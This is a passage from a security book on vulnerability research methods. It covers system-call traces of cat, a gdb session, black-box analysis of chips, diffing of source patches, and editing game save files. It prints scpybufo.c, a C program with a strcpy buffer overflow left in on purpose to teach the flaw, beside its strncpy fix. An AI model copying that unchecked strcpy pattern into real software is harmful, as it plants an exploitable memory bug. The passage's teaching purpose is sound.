old_mmap(NULL, 44, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40015000
close(4) = 0
open("/usr/share/locale/en_US/LC_MONETARY", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=93, ...}) = 0
old_mmap(NULL, 93, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40016000
close(4) = 0
open("/usr/share/locale/en_US/LC_COLLATE", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=29970, ...}) = 0
old_mmap(NULL, 29970, PROT_READ, MAP_PRIVATE, 4, 0) = 0x4010e000
close(4) = 0
www.syngress.com
118 Chapter 4 • Methodology
brk(0x804d000) = 0x804d000
open("/usr/share/locale/en_US/LC_TIME", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=508, ...}) = 0
old_mmap(NULL, 508, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40017000
close(4) = 0
open("/usr/share/locale/en_US/LC_NUMERIC", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=27, ...}) = 0
old_mmap(NULL, 27, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40018000
close(4) = 0
open("/usr/share/locale/en_US/LC_CTYPE", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=87756, ...}) = 0
old_mmap(NULL, 87756, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40116000
close(4) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
open("test", O_RDONLY|O_LARGEFILE) = 4
fstat(4, {st_mode=S_IFREG|0664, st_size=6, ...}) = 0
Finally, cat opens our file “test.” Certainly, it counts as input, but we can feel
pretty safe that cat won’t blow up based on anything inside the file, because of
what cat’s function is. In other cases, you would definitely want to count the
input files.
read(4, "hello\n", 512) = 6
write(1, "hello\n", 6) = 6
read(4, "", 512) = 0
close(4) = 0
close(1) = 0
_exit(0) = ?
To finish, cat reads up to 512 bytes from the file (and gets 6) and writes them
to the screen (well, file handle 1, which goes to STDOUT at the time). It then
tries to read up to another 512 bytes of the file, and it gets 0, which is the indicator
that it’s at the end of the file. So, it closes its file handles and exits clean
(exit code of 0 is normal exit).
Naturally, I picked a super-simple example to demonstrate.The cat command
is simple enough that we can easily guess what it does, processing-wise, between
calls. In pseudocode:
www.syngress.com
Methodology • Chapter 4 119
int count, handle
string contents
handle = open (argv[1])
while (count = read (handle, contents, 512))
write (STDOUT, contents, count)
exit (0)
For comparison purposes, here’s the output from truss for the same command
on a Solaris 7 (x86) machine:
execve("/usr/bin/cat", 0x08047E50, 0x08047E5C) argc = 2
open("/dev/zero", O_RDONLY) = 3
mmap(0x00000000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, 3,
0) = 0xDFBE1000
xstat(2, "/usr/bin/cat", 0x08047BCC) = 0
sysconfig(_CONFIG_PAGESIZE) = 4096
open("/usr/lib/libc.so.1", O_RDONLY) = 4
fxstat(2, 4, 0x08047A0C) = 0
mmap(0x00000000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =
0xDFBDF000
mmap(0x00000000, 598016, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) =
0xDFB4C000
mmap(0xDFBD6000, 24392, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|
MAP_FIXED, 4, 561152) = 0xDFBD6000
mmap(0xDFBDC000, 6356, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|
MAP_FIXED, 3, 0) = 0xDFBDC000
close(4) = 0
open("/usr/lib/libdl.so.1", O_RDONLY) = 4
fxstat(2, 4, 0x08047A0C) = 0
mmap(0xDFBDF000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0)
= 0xDFBDF000
close(4) = 0
close(3) = 0
sysi86(SI86FPHW, 0xDFBDD8C0, 0x08047E0C, 0xDFBFCEA0) = 0x00000000
fstat64(1, 0x08047D80) = 0
open64("test", O_RDONLY) = 3
www.syngress.com
120 Chapter 4 • Methodology
fstat64(3, 0x08047CF0) = 0
llseek(3, 0, SEEK_CUR) = 0
mmap64(0x00000000, 6, PROT_READ, MAP_SHARED, 3, 0) = 0xDFB4A000
read(3, " h", 1) = 1
memcntl(0xDFB4A000, 6, MC_ADVISE, 0x0002, 0, 0) = 0
write(1, " h e l l o\n", 6) = 6
llseek(3, 6, SEEK_SET) = 6
munmap(0xDFB4A000, 6) = 0
llseek(3, 0, SEEK_CUR) = 6
close(3) = 0
close(1) = 0
llseek(0, 0, SEEK_CUR) = 296569
_exit(0)
Based on the bit at the end, we can infer that the Solaris cat command works
a little differently; it appears that it uses a memory-mapped file to pass a memory
range straight to a write call. An experiment (not shown here) with a larger file
showed that it would do the memorymap/write pair in a loop, handling 256K
bytes at a time.
The point of showing these traces was not to learn how to use the trace tools
(that would take several chapters to describe properly, though it is worth
learning). Rather, it was to demonstrate the kinds of things you can learn by
asking the operating system to tell you what it’s up to.
For a more involved program, you’d be looking for things like fixed-name
/tmp files, reading from files writeable by anyone, any exec calls, and so on.
Disassemblers, Decompilers, and Debuggers
Drilling down to attacks on the binary code itself is the next stop.A debugger is a
piece of software that will take control of another program and allow things like
stopping at certain points in the execution, changing variables, and even changing
the machine code on the fly in some cases. However, the debugger’s ability to do
this may depend on whether the symbol table is attached to the executable (for
most binary-only files, it won’t be). Under those circumstances, the debugger may
be able to do some functions, but you may have to do a lot of manual work, like
setting breakpoints on memory addresses rather than function names.
A decompiler (also called a disassembler) is a program that takes binary code and
turns it into some higher-level language, often assembly language. Some can do
www.syngress.com
Methodology • Chapter 4 121
rudimentary C code, but the code ends up being pretty rough. A decompiler
attempts to deduce some of the original source code from the binary (object)
code, but a lot of information that programmers rely on during development is
lost during the compilation process; for example, variable names. Often, a decompiler
can only name variables with non-useful numeric names while decompiling
unless the symbol tables are present.
The problem more or less boils down to you having to be able to read
assembly code in order for a decompiler to be useful to you. Having said that,
let’s take a look at an example of what a decompiler produces.
One commercial decompiler for Windows that has a good reputation is IDA
Pro, from DataRescue (shown in Figure 4.1). IDA Pro is capable of decompiling
code for a large number of processor families, including the Java Virtual Machine.
Here, we’ve used IDA Pro to disassemble mspaint.exe (Paintbrush).We’ve
scrolled to the section where IDA Pro has identified the external functions upon
www.syngress.com
Figure 4.1 IDA Pro in Action
122 Chapter 4 • Methodology
which mspaint.exe calls. For OSes that support shared libraries (like Windows and
all the modern UNIXs), an executable program has to keep a list of the libraries
it will need.This list is usually human readable if you look inside the binary file.
The OS needs this list of libraries so it can load them for the program’s use.
Decompilers take advantage of this, and are able to insert the names into the
code in most cases, to make it easier for people to read.
We don’t have the symbol table for mspaint.exe, so most of this file is
unnamed assembly code.
If you want to try out IDA Pro for yourself, a limited trial version of IDA Pro
is available for download at www.datarescue.com/idabase/ida.htm. Another very
popular debugger is the SoftICE debugger from Numega. Information about
softICE can be found at http://www.compuware.com/products/nu...rivercentral/.
To contrast, I’ve prepared a short C program (the classic “Hello World”) that
I’ve compiled with symbols, to use with the GNU Debugger (GDB). Here’s the
C code:
#include <stdio.h>
int main ()
{
printf ("Hello World\n");
return (0);
}
Then, I compile it with the debugging information turned on (the –g option.):
[elliptic@ellipse]$ gcc -g hello.c -o hello
[elliptic@ellipse]$ ./hello
Hello World
I then run it through GDB. Comments inline:
[elliptic@ellipse]$ gdb hello
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
www.syngress.com
Methodology • Chapter 4 123
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) break main
I set a breakpoint at the main function. As soon as the program enters main,
the execution pauses and I get control.The breakpoint is set before run.
Breakpoint 1 at 0x80483d3: file hello.c, line 5.
(gdb) run
The run command executes our hello program in the debugger.
Starting program: /home/ryan/hello
Breakpoint 1, main () at hello.c:5
5 printf ("Hello World\n");
(gdb) disassemble
Now that we have reached the breakpoint we set up during the execution of
the debugging session, we issue the disassemble command to display some further
information about the program.
Dump of assembler code for function main:
0x80483d0 <main>: push %ebp
0x80483d1 <main+1>: mov %esp,%ebp
0x80483d3 <main+3>: push $0x8048440
0x80483d8 <main+8>: call 0x8048308 <printf>
0x80483dd <main+13>: add $0x4,%esp
0x80483e0 <main+16>: xor %eax,%eax
0x80483e2 <main+18>: jmp 0x80483e4 <main+20>
0x80483e4 <main+20>: leave
0x80483e5 <main+21>: ret
End of assembler dump.
This is what “hello world” looks like in x86 Linux assembly. Examining your
own programs in a debugger is a good way to get used to disassembly listings.
(gdb) s
www.syngress.com
124 Chapter 4 • Methodology
printf (format=0x8048440 "Hello World\n") at printf.c:30
printf.c: No such file or directory.
I then “step” (s command) to the next command, which is the printf call. GDB
indicates that it doesn’t have the printf source code to give any further details.
(gdb) s
31 in printf.c
(gdb) s
Hello World
35 in printf.c
(gdb) c
Continuing.
A couple more steps into printf, and we get our output. I use “continue” (c
command) to tell GDB to keep running the program until it gets to another
breakpoint or finishes.
Program exited normally.
(gdb)
Other related tools include nm and objdump from the GNU binutils collection.
Objdump is a program for manipulating object files. It can be used to display
symbols in an object file, display the headers in an object file, or even disassemble
an object file into assembly code. Nm performs functions similar to objdump,
allowing the user to see the symbols referenced by an object file.
www.syngress.com
Tools Are No Substitutes For Knowledge
Some of the disassembly and debugging tools are fantastic in the
number of features they offer. However, like any tool, they are not perfect.
This is especially true when dealing with malicious code (viruses,
worms, Trojans) or binary exploits. Often the authors of these types of
binary code specifically want to make analysis difficult, and will take
steps to make the tools less functional. For example, the RST Linux virus
checks to see if it is being debugged, and will exit if that is the case. The
same virus modifies the ELF file headers when it infects a file in such a
Tools & Traps…
Continued
Methodology • Chapter 4 125
Black Box Testing
The term black box refers to any component or part of a system whose inner
functions are hidden from the system user.There are no exposed settings or controls;
it just accepts input and produces output. It is not intended to be open or
modified and there are no user serviceable parts inside.
Black box testing can be likened to binary auditing. Both types of auditing
require dealing with binary data. Black boxes, however, appear with varying
degrees of transparency.We recognize two different classes of problems with
which we may be presented: black box, and obsidian box. Of course, these are conceptual
boxes rather than physical objects.The type of box refers to our level of
visibility into the workings of the system we want to attack.
Naturally, the very idea of a black box is an anathema to most hackers. How
could you have a box that performs some neat function, and not want to know
how it does it? We will be discussing ideas on how to attack a true black box, but
in reality we will be spending most of our energy trying to pry the lid off.
www.syngress.com
way as to make some disassemblers unable to access the virus portion
of the binary directly. (Specifically, there is no declared code segment for
the virus code, but it gets loaded along with the previous segment, and
will still execute.) It’s very common for a piece of malicious code to be
somewhat protected with encryption or compression. The Code Red
worms existed in the wild only as half overflow string/half code,
meaning that none of the standard file headers were present.
All of the above means that you will still need to know how to do
things manually if need be. You will need to be able to tell from examining
a file header that portions have been modified, and how to interpret
the changes. You may need to be able to perform several iterations
of code analysis for encrypted code. You will have to analyze the decryption
routine, replicate the code that does the work, and then analyze the
results.
You may not only have to be able to read assembly language, but
be able to write it in order to copy a decryption or decompression function.
Writing assembly code is generally harder than reading it.
This is not to indicate that the tools are useless. Far from it. You may
hit a stumbling block for which the tool is inadequate, but once past it,
you will want to plug the results right back into the tool and continue
from there. Besides, sometimes using the tools is the best way to learn
how things work in the first place.
126 Chapter 4 • Methodology
Chips
Imagine you have a piece of electronics gear that you would like to reverse engineer.
Most equipment of that type nowadays would be built mostly around integrated
circuits (ICs) of some kind. In our hypothetical situation, you open the
device, and indeed, you see an IC package as expected, but the identifying marks
have been sanded off! You pull the mystery chip out of its socket and try to
determine which chip it is.
Unknown ICs are a good example of a real-life black box (they’re even
black).Without the markings, you may have a lot of difficulty determining what
kind of chip it is.
What can you tell from a visual inspection? You can tell it has 16 pins, and
that’s about it. If you examine the circuit board it came out of, and start visually
following the traces in the board, you can probably pretty easily determine the
pins to which the power goes, and that can be verified with a volt meter.
Guessing which pins take power (and how much) can be fun, because if you get
it wrong, you can actually fry the chip.
Beyond that, you’ll probably have to try to make inferences based on any
other components in the gadget.You can start to make a list of components that
attach to the chip, and to which pins they attach. For example, perhaps two of the
pins eventually connect to a light emitting diode (LED).
If it turns out that the chip is a simple Transistor-to-Transistor Logic (TTL)
device, you might be able to deduce simple logic functions by applying the
equivalent of true-and-false signals to various pins and measuring for output on
other pins. If you could deduce, for example, that the chip was simply a bunch of
NAND (not-and) gates, you could take that information, go to a chip catalog,
and figure out pretty quickly which chip (or equivalent) you have.
On the other hand, the chip could turn out to be something as complex as a
small microprocessor or an entire embedded system. If it were the latter case, there
would be far, far too many combinations of inputs and outputs for a trial-and-error
map. For an embedded system, there will probably also be analog components (for
example, a speaker driver) that will frustrate any efforts to map binary logic.
For an example of a small computer on a chip of this sort, go to
http://www.parallaxinc.com/html_file...dule_bs2p.asp.
Parallax produces a family of chips that have built-in BASIC interpreters, as
well as various combinations of input and output mechanisms.The underlying
problem with such a complex device is that the device in question has way more
states than you could possibly enumerate. Even a tiny computer with a very small
www.syngress.com
Methodology • Chapter 4 127
amount of memory can produce an infinite amount of nonrepeating output. For
a simple example, imagine a single-chip computer that can do addition on huge
integers. All it has to do is run a simple program that adds 1 to the number each
time and outputs that for any input you give it.You’d probably pretty quickly
infer that there was a simple addition program going on, but you wouldn’t be
able to infer any other capabilities of the chip.You wouldn’t be able to tell if it
was a general-purpose programmable computer, or if it was hardware designed to
do just the one function.
Some folks have taken advantage of the fact that special sequences are very
unlikely to be found in black boxes, either by accident or when actively looked
for. All the person hiding a sequence has to do is make sure the space of possibilities
is sufficiently large to hide his special sequence. For a concrete example, read
the following article: http://www.casinoguru.com/features/0...9_tocatch.htm.
It tells of a slot machine technician who replaced the chip in some slot machines,
so that they would pay a jackpot every time a particular sequence of coins was put
in the machine, and the handle pulled.Talk about the ultimate Easter egg!
So, if you can’t guess or infer from the information and experiments available
to you what this chip does, what do you do? You open it! Open a chip? Sure.
Researchers of “tamper-proof ” packaging for things like smart cards have done
any number of experiments on these types of packages, including using acid to
burn off the packaging, and examining the chip layout under a microscope.We’ll
cover this kind of hardware hacking in Chapter 14.
So, as indicated before, our response to being frustrated at not being able to
guess the internals of a black box is to rip it open. An analogy can be found in
this author’s experiences visiting Arizona’s obsidian mines—held at arms length,
obsidian looks like a black rock. However, if held up to a bright light one can see
the light through the stone.There are no truly “black boxes,” but rather, they are
“obsidian boxes” that permit varying degrees of vision into them. In other words,
you always have some way to gain information about the problem you’re trying
to tackle.
www.syngress.com
128 Chapter 4 • Methodology
Summary
Vulnerability research methodologies are the commonly used principles of
auditing systems for vulnerabilities.The process of source code research begins
with searching the source code for error-prone directives such as strcpy and sprintf.
Another method is the line-by-line review of source code by the person auditing
the program, which is a comprehensive audit of the program through all of its
execution sequences. Discovery through difference is another method, using the
diff utility on different versions of the same software to yield information about
security fixes.The method of undertaking binary research can involve various
utilities such as tracing tools, debuggers, guideline-based auditing, and sniffers.
An auditing source code review involves the search for error-prone functions
and line-by-line auditing methodologies. In this chapter, we looked at an
example of an exploitable buffer overflow using strcpy, an example using sprintf, an
example using strcat, and an example using gets.We dissected input validations
bugs, such as a format string vulnerability using printf, and a open function
written in Perl.We also examined a race condition vulnerability in the mktemp
function.
Reverse engineering is one of the most commonly used and accurate
methods of finding vulnerabilities in a closed-source program.This type of
research is performed from the top-down.Windows auditing tools are available
from sysinternals.com, and using the Rosetta Stone list to map system calls across
platforms. In this chapter, we traced the execution of the cat program, first on a
Red Hat Linux system, then a Solaris 7 system.
Disassemblers, and debuggers drill down into binary code.A disassembler
(also known as a decompiler) is a program that takes binary code and turns it
into a higher-level language like assembly.A debugger is a program that can control
the execution of another program. In this chapter, we examined the output
of disassembly on the Windows platform using IDA Pro, then performed a
debugging session with GDB on a Linux system.We also discussed objdump, a
program used to manipulate object files; and nm, a program that displays the
symbol information contained in object files.
A black box is a (conceptual) component whose inner functions are hidden
from the user; black box testing is similar to binary auditing, in that it involves
reverse-engineering integrated circuits. One may also identify a chip by deduction
of output, or by literally ripping it open to examine it. Black boxes have
varying degrees of transparency.
www.syngress.com
Methodology • Chapter 4 129
Solutions Fast Track
Understanding Vulnerability Research Methodologies
Source research and review is the most ideal vulnerability research
methodology.
Source research is often conducted through searching for error-prone
directives, line-by-line review, and discovery through difference.
Binary research is often performed through tracing binaries, debuggers,
guideline-based auditing, and sniffers.
The Importance of Source Code Review
Source review is a necessary part of ensuring secure programs.
Searching for error-prone directives in source can yield buffer overflows,
input validation bugs, and race conditions.
The grep utility can be used to make the searching of error-prone
directives efficient.
Reverse Engineering Techniques
Freely available auditing tools for Windows are available from
www.sysinternals.com.
The Rosetta Stone (at http://bhami.com/rosetta.html) can be used to
map system utilities across platforms.
Debuggers can be used to control the execution of a program, and find
problem sections of code.
Black Box Testing
Black box testing is the process of discovering the internals of a
component that is hidden from the naked eye.
Ripping open a black box is the easiest way to determine the internals.
There are no true black boxes. Most allow varying degrees of
transparency.
www.syngress.com
130 Chapter 4 • Methodology
Q: What is the best method of researching vulnerabilities?
A: This question can only yield a subjective answer.The best methods a
researcher can use are the ones he or she is most comfortable with, and are
most productive for the research.The recommended approach is to experiment
with various methods, and organization schemes.
Q: Is decompiling and other reverse engineering legal?
A: In the United States, reverse engineering may soon be illegal.The Digital
Millennium Copyright Act includes a provision designed to prevent the circumvention
of technological measures that control access to copyrighted
works. Source code can be copyrighted, and therefore makes the reverse
engineering of copyrighted code illegal.
Q: Are there any tools to help with more complicated source code review?
A: Tools such as SCCS and CVS may make source review easier. Additionally,
integrated development environments (IDEs) may also make source review an
easier task.
Q: Where can I learn about safe programming?
A: A couple different resources one may use are the Secure UNIX Programming
FAQ at www.whitefang.com/sup/secure-faq.html, or the secprog mailing list
moderated by Oliver Friedrichs.
Q: Where can I download the source to these example programs?
A: The source is available at www.syngress.com/solutions.

[mic64]

Chapter 5 • Diffing
Introduction
Diffing, the comparison of a program, library, or other file before and after some
action, is one of the simplest hacking techniques. It is used frequently during
security research, often to the point that it is not thought of as a separate step.
Diffing can be done at the disk, file, and database levels. At the disk level, you can
discover which files have been modified. At the file level, you can discover which
bytes have been changed. At the database level, you can discover which records
are different. By doing so, you can discover how to manipulate the data outside of
the application for which it is intended.
What Is Diffing?
The diff utility predates many of the modern UNIX and UNIX-clone operating
systems, appearing originally in the UNIX implementation distributed by AT&T
and currently available in many variations on the original.The name diff is shorthand
for difference, derived from getting a list of the differences between two files.
The term diffing can therefore be defined as the use of the diff utility (or similar
program) to compare two files. From this comparison, we can gather information
for such purposes as determining what has changed from one revision of
the software to the next; whether or not a binary is different from another
claiming to be the same; or how a data file used by a program has changed from
one operation to another.
Examine the source code of the program shown in Figure 5.1.
Figure 5.1 Source Code of scpybufo.c
/* scpybufo.c */
/* Hal Flynn */
/* December 31, 2001 */
/* scpybufo.c demonstrates the problem */
/* with the strcpy() function which */
/* is part of the c library. This */
/* program demonstrates strcpy not */
/* sufficiently checking input. When */
/* executed with an 8 byte argument, a */
/* buffer overflow occurs. */
www.syngress.com
Continued
www.syngress.com
#include<stdio.h>
#include<strings.h>
int main(int argc, char *argv[])
{
overflow_function(*++argv);
return (0);
}
void overflow_function(char *b)
{
char c[8];
strcpy(c, b);
return;
}
As mentioned in the header, this program contains a buffer overflow. (We saw
this program originally in Chapter 4, in the “Buffer Overflows” section.) Now
examine the next program, shown in Figure 5.2.
Figure 5.2 Source Code of sncpyfix.c
/* sncpyfix.c */
/* Hal Flynn */
/* January 13, 2002 */
/* sncpyfix.c demonstrates the proper */
/* function to use when copying */
/* strings. The function provides a */
/* check for data length by limiting */
/* the amount of data copied. */
Diffing • Chapter 5 133
Figure 5.1 Continued
Continued
134 Chapter 5 • Diffing
#include<stdio.h>
#include<strings.h>
int main(int argc, char *argv[])
{
overflow_function(*++argv);
return (0);
}
void overflow_function(char *b)
{
char c[8];
size_t e = 8;
strncpy(c, b, e);
return;
}
This program is presented as a fixed version of Figure 5.1.As we can see, the
two programs have the same structure, use most of the same functions, and use
the same variable names.
Using the diff program on a UNIX system, we can see the exact differences
between these two programs (Figure 5.3).
Figure 5.3 Output of a Diff Session Between scpybufo.c and sncpyfix.c
elliptic@ellipse:~/syngress$ diff scpybufo.c sncpyfix.c
1c1
< /* scpybufo.c */
---
> /* sncpyfix.c */
3,10c3,8
< /* December 31, 2001 */
www.syngress.com
Figure 5.2 Continued
Continued
Diffing • Chapter 5 135
< /* scpybufo.c demonstrates the problem */
< /* with the strcpy() function which */
< /* is part of the c library. This */
< /* program demonstrates strcpy not */
< /* sufficiently checking input. When */
< /* executed with an 8 byte argument, */
< /* a buffer overflow occurs. */
---
> /* January 13, 2002 */
> /* sncpyfix.c demonstrates the proper */
> /* function to use when copying */
> /* strings. The function provides a */
> /* check for data length by limiting */
> /* the amount of data copied. */
25a24
> size_t e = 8;
27c26
< strcpy(c, b);
---
> strncpy(c, b, e);
As we can see in the beginning of the output, data in scpybufo.c is indicated
by the < symbol, and the data in sncpyfix.c is indicated by the > symbol.The
beginning of this diff is consumed by the header of both files.
Beginning at context number 25a24, we can see that the differences in the
actual code begin.A size_t variable appears in sncpyfix.c that is not in scpybufo.c.
At context number 27c26, we see the change of the strcpy function to the strncpy
function.Though it is impractical to diff files as small as these, the usefulness of
this utility becomes much more apparent when files containing more lines of
code are compared.We discuss the reasons for diffing source code next.
Why Diff?
Why is it useful to be able to see the differences in a file or memory before and
after a particular action? One reason is to determine the portion of the file or the
www.syngress.com
Figure 5.3 Continued
136 Chapter 5 • Diffing
memory location of the item of interest. For example, if a hacker has a file that
he thinks contains a form of a password to an application, but the file appears to
be in a binary format, he might like to know what part of the file represents the
password.
To make this determination, the hacker would have to save a copy of the file
for comparison, change the password, and then compare the two files. One of the
differences between the two files (since there could be several) represents the
password.This information is useful when a hacker want to make changes to the
file directly, without going through the application.We look at an example of this
scenario in this chapter. For cases like this, the goal is to be able to make changes
to the storage directly.
In other cases, a hacker might be interested largely in decoding information
rather than changing it.The steps are the same, causing actions while monitoring
for changes.The difference is that rather than trying to gain the ability to make
changes directly, the hacker wants to be able to determine when a change occurs
and possibly infer the action that caused it.
Another reason is the security research discovery process. In the days of full
disclosure, it is still common for vendors to release a fix without detailing the
problems when the vulnerability is announced. Several major software vendors,
such as Microsoft, Hewlett-Packard, and Caldera, are guilty of this practice.
Vendors such as Linux companies (with the exception of Caldera) are the exception,
whereas companies such as Cisco are on the fence, going back and forth
between both sides of the information disclosure debate.
The use of diffing can expose a vulnerability when a software vendor has
released a vague announcement concerning a security fix.A diff of the source
code of two programs can yield the flaw and thus the severity of the issue. It can
also be used to detect problems that have been quietly fixed from one revision of
a software package to another.
Looking to the Source Code
Let’s go back to our discussion about diffing source code. In Figures 5.1 and 5.2,
we showed the source code of two programs.The two are the same program, just
different revisions.The first program contained a buffer overflow in strcpy, the
second one a fixed version using strncpy.
From the output of a diff between the two source files (shown in Figure 5.3),
we were able to determine two changes in the source code.The first change
added a size_t variable in the sncpyfix.c program.The second change made a
strcpy function in scpybufo.c into a strncpy function in sncpyfix.c.
www.syngress.com
Diffing • Chapter 5 137
Discovering problems in open source software is relatively easy.Often, problems
in open source software are disclosed through files distributed to fix them.
This is demonstrated through patch files produced by UNIX clone vendors such
as Linux and the BSDs. Observe the patch in Figure 5.4, distributed in response
to FreeBSD Security Advisory FreeBSD-SA-02:02.
Figure 5.4 Source Code of FreeBSD’s pw.patch
--- usr.sbin/pw/pwupd.c 2001/08/20 15:09:34
+++ usr.sbin/pw/pwupd.c 2001/12/20 16:03:04
@@ -176,7 +176,7 @@
*/
if (pwd != NULL)
fmtpwentry(pwbuf, pwd, PWF_MASTER);
- rc = fileupdate(getpwpath(_MASTERPASSWD), 0644, pwbuf, pfx, l, mode);
+ rc = fileupdate(getpwpath(_MASTERPASSWD), 0600, pwbuf, pfx, l, mode);
if (rc == 0) {
#ifdef HAVE_PWDB_U
if (mode == UPD_DELETE || isrename)
This patch appears in unified diff format. Although the advisory released by
FreeBSD contained all the pertinent information, including a detailed description
of the problem, examination of this file reveals the nature of the problem.This
patch is applied to the pwupd.c source file in the usr.sbin/pw/ source directory,
as specified in the first lines of the patch.
The pw program included with FreeBSD is used to add, remove, or modify
users and groups on a system.The problem with the program is that when an
action is performed with the pw utility, a temporary file is created with worldreadable
permissions, as denoted in the line beginning with the single minus (-).
This could allow a local user to gain access to encrypted passwords on the
system.
Had the problem not been disclosed by the FreeBSD security team, we could
have performed an audit on the source ourselves. After obtaining the two source
files (pwupd.c prior to the change, pwupd.c after the change) and diffing the two
files, we can see the alterations to the source code, shown in Figure 5.5.
www.syngress.com
138 Chapter 5 • Diffing
Figure 5.5 Diff Output Between Versions 1.12.2.3.2.1 and 1.17 of FreeBSD
pwupd.c
elliptic@ellipse:~/pw$ diff pwupd1.c pwupd2.c
29c29
< "$FreeBSD: src/usr.sbin/pw/pwupd.c,v 1.17
2001/08/20 15:09:34 brian Exp $";
---
> "$FreeBSD: src/usr.sbin/pw/pwupd.c,v 1.12.2.3.2.1
2001/12/21 15:23:04 nectar Exp $";
169,170d168
< if (l < 0)
< l = 0;
179c177
< rc = fileupdate(getpwpath(_MASTERPASSWD), 0644, pwbuf, pfx, l, mode);
---
> rc = fileupdate(getpwpath(_MASTERPASSWD), 0600, pwbuf, pfx, l, mode);
Between the older version and the most current revision of the pwupd.c files,
we can see the same changes that were in the patch file shown in Figure 5.4.
www.syngress.com
Recursive Grepping
So what if we do not know the exact file that was patched? What if,
rather than getting detailed information, such as that provided by the
advisory, we are instead given a new revision of the software containing
multiple directories of source code? This is where the comparison of
directories via diff comes in handy.
An entire directory can be examined via diff to compare all like files
within the directory. This is accomplished by using the recursive (-r) flag.
Diffing the directories with the recursive flag descends any subdirectories
below the top specified directory. Therefore, we may gain a full comparison
of both directories. Recursive diffing is a feature built into GNU
Notes from the Underground…
Continued
Diffing • Chapter 5 139
Going for the Gold: A Gaming Example
I first ran across the idea of directly manipulating data files in order to affect an
application when I was about 13 years old. At the time, I had an Apple ][+ computer
and enjoyed games quite a bit. By that point, I had completed somewhere
between one and two years of junior high programming classes. One of my
favorite games was Ultima 2. Ultima is a fantasy role-playing game that puts you
in the typical role of hero, with a variety of weapons, monsters to kill, and gold
to be had. As is typical of games of this genre, the goal is to gain experience and
gold and solve the occasional quest.The more experience you have, the more
efficiently you can kill monsters; the more gold you have, the better weapons and
armor you can buy.
I wanted to cheat. I was tired of getting killed by daemons, and at that age, I
had little concept of the way that cheating could spoil my game.The obvious
cheat would be to give my character a lot more gold. I knew the information
was written to a diskette each time I saved my game, and it occurred to me that
if I could find where on the diskette the amount of gold I had was stored, I
might be able to change it.
The technique I used at that time is a little different from what we present in
this chapter, largely because the tools I had at my disposal were much more
primitive.What I did was to note how much gold I had, save my game, and exit.
I had available to me some sort of sector editor, which is a program used to edit
individual disk sectors straight on the disk, usually in hexadecimal format.The
sector editor had a search feature, so I had it search the disk for the name of my
character to give me an approximate location on the disk to examine in detail. In
short order, I found a pair of numbers that corresponded to the amount of gold I
had when I saved my game. I made an increase and saved the changes to the
www.syngress.com
diff and is not built into the versions of diff included with other operating
systems.
For example, the version of diff included with Solaris 8 and previous
versions cannot perform recursive directs alone. However, with a little
extra work on the command line, the same command can be performed.
According to Ryan Tennant’s (Argoth) Solaris Infrequently Asked
Obscure Questions (IAOQ) at http://shells.devunix.org/~argoth/iaoq, a
recursive grep can be performed using the following command:
/usr/bin/find . | /usr/bin/xargs /usr/bin/grep PATTERN
140 Chapter 5 • Diffing
sector.When I loaded my game back up, I had much more gold. Eureka! My first
hack. Little did I know at the time that I had stumbled onto a technique that
would serve me for many years to come.
I was able to expand my small bit of research and built myself an Ultima 2
character editor that would allow me to modify most of the character attributes,
such as strength, intelligence, number of each type of weapons, armor, and the like.
Of course, that was more years ago than I care to admit. (To give you an idea,
Ultima IX was recently released, and the manufacturer makes a new version only
every couple of years, on average.) Today, I play different games, such as Heroes of
Might and Magic II. It is a fantasy role-playing game in which you play a character
who tries to gather gold and experience through killing monsters… you get
the idea. Figure 5.6 shows the start of a typical game.
In particular, notice the amount of gold I have: 7500 pieces.The first thing I
do is save the game, calling it hack1. Next I make a change to the amount of
gold I have.The easiest way is to buy something; in my case, I went to the castle
and bought one skeleton, one of the lowest-priced things to buy. It’s important to
have the change(s) be as small as possible, which we’ll discuss shortly. After the
purchase of the skeleton, I now have 7425 gold pieces. I save the game again,
www.syngress.com
Figure 5.6 Beginning of a Heroes of Might and Magic II Game
Diffing • Chapter 5 141
calling it hack2. I drop to a DOS prompt and run the file compare (fc) command,
as shown in Figure 5.7.
Figure 5.7 Comparison of Two Files Using the DOS fc Utility
C:\Program Files\Heroes2\GAMES>dir hack*
Volume in drive C has no label
Volume Serial Number is 3C3B-11E3
Directory of C:\Program Files\Heroes2\GAMES
HACK1 GM1 108,635 06-03-00 11:32p hack1.GM1
HACK2 GM1 108,635 06-03-00 11:39p hack2.GM1
2 file(s) 217,270 bytes
0 dir(s) 10,801.64 MB free
C:\Program Files\Heroes2\GAMES>fc /b hack1.gm1 hack2.gm1
Comparing files hack1.GM1 and hack2.gm1
000002A2: 31 32
000002C3: 32 FF
00000306: FF 03
00000368: 4C 01
00003ACE: FF 2F
00003AD3: 00 01
00003AE4: 08 07
C:\Program Files\Heroes2\GAMES>
The fc command compares two files, byte for byte, if you give it the /b
switch, and reports the differences in hex. So, my next stop is the Windows calculator
(calc.exe) to see what 7500 and 7425 are in hex. If you pick Scientific
under the View menu in the calculator, you are presented with some conversion
options, including decimal to hex, which is what we want.With Dec selected,
punch in 7500 and then click Hex.You’ll get 1D4C. Repeat the process for
7425, and you’ll get 1D01.
www.syngress.com
142 Chapter 5 • Diffing
Now, looking at the results of the fc command, the difference at address 368
